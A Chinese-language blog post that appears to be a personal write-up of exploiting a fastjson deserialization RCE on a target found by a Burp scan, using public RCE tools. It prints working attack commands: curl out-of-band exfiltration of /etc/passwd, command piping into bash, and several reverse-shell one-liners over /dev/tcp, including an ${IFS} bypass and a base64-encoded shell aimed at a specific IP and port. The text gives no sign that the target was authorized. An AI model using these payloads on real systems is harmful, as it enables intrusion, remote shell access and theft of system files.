用burp插件扫到个fastjson,找了个工具测试curl,很快收到了请求,感觉很简单想执行别的命令看看,结果一个周末就搭上面了
用的工具是群里少宇推荐的fastjson_rce_tool,很好用,唯一的问题是只能执行一条命令,不能定制java脚本。嫌麻烦我懒得自己启jndi服务什么的,就想用这个工具直接弹shell。结果试了各种弹shell的方法都失败了,很迷惑。
然后考虑curl带外,这里一个很坑的地方是如果直接在参数写”curl ip/whoami
“这种的话,反引号的内容实际上是在本机解析的,也就是查看的是自己的whoami,当时用ifconfig看到自己的ip时候才明白过来。那就只能用curl读读文件curl -F file=@/etc/passwd ip这样。
要执行命令就要用到管道,本来想base64的,但是好像目标没有base64。最后的解决办法是’echo “curl ip/pwd
“ | /bin/bash’终于成功执行了命令。但很奇怪的是直接curl的时候源ip和用bash执行时候的源ip不一样,后一台还会隔几分钟,不太清楚负载什么怎么做的。
看了下pwd是/root/bash_sandbox_samples/随机字符,这样的一个目录,那应该是一个删减的shell,功能比较少。还是不知道怎么处理多行返回值。
最后在CaijiOrz的工具找到了一个神奇的命令
1 | /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1 |
弹出来了,给力
还有
1 | /bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 |
来自https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
还找到个以前记录过的,也可以
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjQ3Ljc2LjUxLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} |
感觉自己好像瞎,明明之前有个ctf的反序列化题里看wp复制下来的。。。看来别人帮踩了坑也没有用,自己还是会掉里面。
看来是java的执行shell方式有些独特,分割会有问题。原理
https://b1ngz.github.io/java-os-command-injection-note/
http://www.lmxspace.com/2019/10/08/Java%E4%B8%8B%E5%A5%87%E6%80%AA%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
参考链接
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/